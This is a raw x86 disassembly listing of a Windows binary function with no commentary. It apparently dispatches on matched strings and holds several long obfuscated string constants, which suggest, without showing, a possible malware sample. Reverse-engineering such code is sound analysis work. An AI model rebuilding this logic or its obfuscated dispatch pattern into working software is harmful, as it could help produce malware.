lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00435bf0
lea ecx, [ebp - 0x1a0]
call fcn.00434a50
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xe4]
cmp dword [ebp - 0xd0], 8
cmovae ecx, dword [ebp - 0xe4]
call fcn.00465550
lea ecx, [ebp - 0xe4]
call fcn.0042eb40
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x52a531
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527310
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a5c6
jmp 0x527310
sub esp, 0x18
mov ecx, esp
push 0x5c4748
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527b45
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527b10
sub ecx, dword [ebp - 0x20]
je 0x527b45
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527b45
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x527b30
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x527b4c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x527b80
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527b76
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a5cb
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x528433
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527bc0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.0052aa40
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
movups xmmword [ebp - 0x84], xmm0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
lea eax, [ebp - 0x84]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xcc]
push eax
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x9c]
call fcn.0044a180
add esp, 0x14
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a5d0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
push str.RUN6MegkibCQ4MbBw
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xd
call fcn.0042f250
test al, al
jne 0x527cd1
push 0x13
push str.RUN6MegkibCQ4MbBw
lea ecx, [ebp - 0x2c]
call fcn.0042f580
mov byte [ebp - 4], 0xe
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a5da
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push str.MnVIdcX4UGOwVmmHCUU
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0xf
call fcn.0042f250
test al, al
jne 0x527d15
push 0x13
push str.MnVIdcX4UGOwVmmHCUU
lea ecx, [ebp - 0x3c]
call fcn.0042f580
push ecx
mov byte [ebp - 4], 0x10
mov edi, esp
mov dword [ebp - 0x28], esp
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [0x5c93fc]
lea ecx, [ecx - 0x10]
call fcn.0042e8d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00445470
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x11
call fcn.00434ad0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00435bf0
lea ecx, [ebp - 0x1a0]
call fcn.00434a50
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x40], edi
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a5e4
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.0042f250
test al, al
jne 0x527e08
test esi, esi
jne 0x527de4
xor ecx, ecx
jmp 0x527dff
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x527df0
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042f580
push ecx
mov edi, esp
mov byte [ebp - 4], 0x15
push ecx
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042e8d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00445470
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x16
call fcn.00448720
add esp, 0xc
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x100]
call fcn.0042eb40
push ecx
mov dword [ebp - 0x28], esp
mov edi, esp
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [0x5c93fc]
lea ecx, [ecx - 0x10]
call fcn.0042e8d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00445470
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x17
call fcn.00434ad0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x118]
cmp dword [ebp - 0x104], 0x10
mov eax, dword [ebp - 0x108]
cmovae ecx, dword [ebp - 0x118]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00435bf0
lea ecx, [ebp - 0x1a0]
call fcn.00434a50
mov byte [ebp - 4], 0x19
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x6c], esp
mov dword [ebp - 0x40], edi
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a5ee
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.0042f250
test al, al
jne 0x527f3c
test esi, esi
jne 0x527f1f
xor ecx, ecx
jmp 0x527f33
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x527f24
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042f580
push ecx
mov edi, esp
mov byte [ebp - 4], 0x1b
push ecx
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042e8d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00445470
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x1c
call fcn.00448720
add esp, 0xc
lea ecx, [ebp - 0x100]
call fcn.0042eb40
mov byte [ebp - 4], 0x1d
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a5f8
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1e
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a602
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
push str.bndQNehVVwMQoeWVWpaPFVUiFRoevNhMNiFiQTNARkjPWFRXmK1gBZETYfqHD4jKNR4SfPlhUjVyQIdGxItkBxM
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x1f
call fcn.0042f250
test al, al
jne 0x527fe8
push 0x59
push str.bndQNehVVwMQoeWVWpaPFVUiFRoevNhMNiFiQTNARkjPWFRXmK1gBZETYfqHD4jKNR4SfPlhUjVyQIdGxItkBxM
lea ecx, [ebp - 0x44]
call fcn.0042f580
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0xe4]
push 0x9f
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.ajNpLRhEROCDYadEVM9XSFwPAIA9BHS3wRUEQYg8DFYbzDwRVXBmRQASEszUGF9LjfEgWaHjVICH0sprA1dLgfE9ErGmpIQXB0_AGlZLBfEgWoHjVIsThRqFSEABsKR1s3Hi8EJVwYxrSAlLZKQxVWDDRIIThQ
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042d600
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x21
call fcn.00434ad0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x84]
cmp dword [ebp - 0x70], 0x10
mov eax, dword [ebp - 0x74]
cmovae ecx, dword [ebp - 0x84]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00435bf0
lea ecx, [ebp - 0x1a0]
call fcn.00434a50
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x68]
cmp dword [ebp - 0x54], 8
lea ecx, [ebp - 0x298]
cmovae eax, dword [ebp - 0x68]
mov dword [ebp - 0x50], eax
call fcn.00434ad0
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x298]
call fcn.00435bf0
lea ecx, [ebp - 0x298]
call fcn.00434a50
mov byte [ebp - 4], 0x25
lea edi, [ebp - 0x130]
cmp dword [ebp - 0x11c], 8
lea ecx, [ebp - 0x1a0]
cmovae edi, dword [ebp - 0x130]
call fcn.00434ad0
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00435bf0
lea ecx, [ebp - 0x1a0]
call fcn.00434a50
mov byte [ebp - 4], 0x27
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
cmovae esi, dword [ebp - 0x100]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0xe4]
push eax
call fcn.0042e9e0
lea ecx, [ebp - 0x20]
call fcn.00445090
mov byte [ebp - 4], 0x28
push dword [ebp - 0x50]
push edi
push esi
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.004218d0
mov edx, dword [ebp - 0x20]
or edi, 0xffffffff
add esp, 0x2c
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x528187
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x100]
call fcn.0042eb40
lea ecx, [ebp - 0x130]
call fcn.0042eb40
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x21
call fcn.0042eb40
mov eax, dword [ebp - 0x38]
push 4
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
push ecx
mov dword [ebp - 0x50], eax
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042e8d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00445470
mov ecx, dword [ebp - 0x50]
add esp, 4
call fcn.004624a0
mov eax, dword [ebp - 0x38]
push 8
push ecx
mov esi, esp
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x50], eax
call fcn.0042e8d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004624a0
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x52824e
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x528244
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a60c
push ecx
push edx
call fcn.0054db34
add esp, 8
mov edx, dword [ebp - 0x20]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x528268
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x50]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52827f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x528296
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x5282ab
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x5282e2
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5282d8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a60c
push ecx
push edx
call fcn.0054db34
add esp, 8
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
cmp ecx, 0x10
jb 0x528331
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528327
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a60c
push ecx
push edx
call fcn.0054db34
add esp, 8
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
cmp ecx, 0x10
jb 0x528386
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52837c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a60c
push ecx
push edx
call fcn.0054db34
add esp, 8
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp ecx, 0x10
jb 0x5283db
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5283d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a60c
push ecx
push edx
call fcn.0054db34
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x52a531
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527310
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a60c
jmp 0x527310
sub esp, 0x18
mov ecx, esp
push 0x5c47a8
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x528495
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528460
sub ecx, dword [ebp - 0x20]
je 0x528495
mov eax, dword [edx + 0x10]
test eax, eax
je 0x528495
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x528480
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52849c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5284d0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5284c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a611
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x528768
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528510
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.0052aa40
add esp, 8
mov byte [ebp - 4], 0x2a
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a616
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x2c
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a620
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x2e
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a62a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x30
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a634
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x32
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a63e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x33
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x1c], 0
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x9c]
call fcn.00448d20
mov esi, dword [ebp - 0x38]
add esp, 0x14
mov ecx, 0x5c94c0
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00423040
mov edi, dword [ebp - 0x70]
cmp byte [edi + 0xd], 0
jne 0x52a648
lea eax, [edi + 0x10]
push eax
push esi
call fcn.00426ff0
test al, al
jne 0x52a648
push dword [edi + 0x14]
push dword [ebp - 0x1c]
push ecx
mov esi, esp
mov dword [ebp - 0x28], esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x2c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042e8d0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x34
mov esi, esp
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov dword [ebp - 0x6c], esp
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0042e8d0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x35
mov esi, esp
mov dword [ebp - 0x30], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0x40], esp
mov ecx, eax
mov dword [ebp - 0x38], eax
call fcn.0042e8d0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x36
mov esi, esp
mov dword [ebp - 0x30], esi
mov eax, dword [ebp - 0x48]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x30], eax
call fcn.0042e8d0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x37
mov esi, esp
mov dword [ebp - 0x70], esi
mov edi, dword [ebp - 0x24]
add edi, 0xfffffff0
mov ecx, edi
call fcn.0042e8d0
mov ecx, dword [ebp - 0x50]
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0x33
call fcn.00406480
mov edx, dword [ebp - 0x20]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x528708
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52871f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x38]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x528736
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x30]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52874d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x5283f6
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x5283f6
sub esp, 0x18
mov ecx, esp
push 0x5c48c8
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5287c5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528790
sub ecx, dword [ebp - 0x30]
je 0x5287c5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5287c5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x5287b0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x5287cc
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x528800
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5287f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a60c
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x5289c2
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x38
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528840
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052aa40
add esp, 8
mov byte [ebp - 4], 0x39
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a652
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x3b
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a65c
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 0x3d
call fcn.0042efe0
mov ecx, eax
test ecx, ecx
je 0x52a666
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x3e
push eax
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x9c]
call fcn.0044b660
mov eax, dword [ebp - 0x38]
add esp, 4
mov esi, esp
mov dword [ebp - 0x70], esp
mov edi, dword [eax + 0xc]
mov dword [ebp - 0xe8], esi
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x30], eax
call fcn.0042e8d0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x3f
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x48]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x50], eax
call fcn.0042e8d0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x40
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov dword [ebp - 0x28], esp
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042e8d0
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x41
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.0042e8d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
mov byte [ebp - 4], 0x3e
call fcn.00408320
mov edx, dword [ebp - 0x30]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52898d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x50]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5289a4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x5283f6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x5283f6
sub esp, 0x18
mov ecx, esp
push 0x5c46e8
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x528a25
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x30], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5289f0
sub ecx, dword [ebp - 0x30]
je 0x528a25
mov eax, dword [edx + 0x10]
test eax, eax
je 0x528a25
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x528a10
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
jmp 0x528a2c
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x528a60
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x528a56
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a60c
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x24], 0
je 0x528d25
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x42
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x528aa0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x70]
call fcn.0052aa40
add esp, 8
lea ecx, [ebp - 0xb4]
push 0
push 0x594764
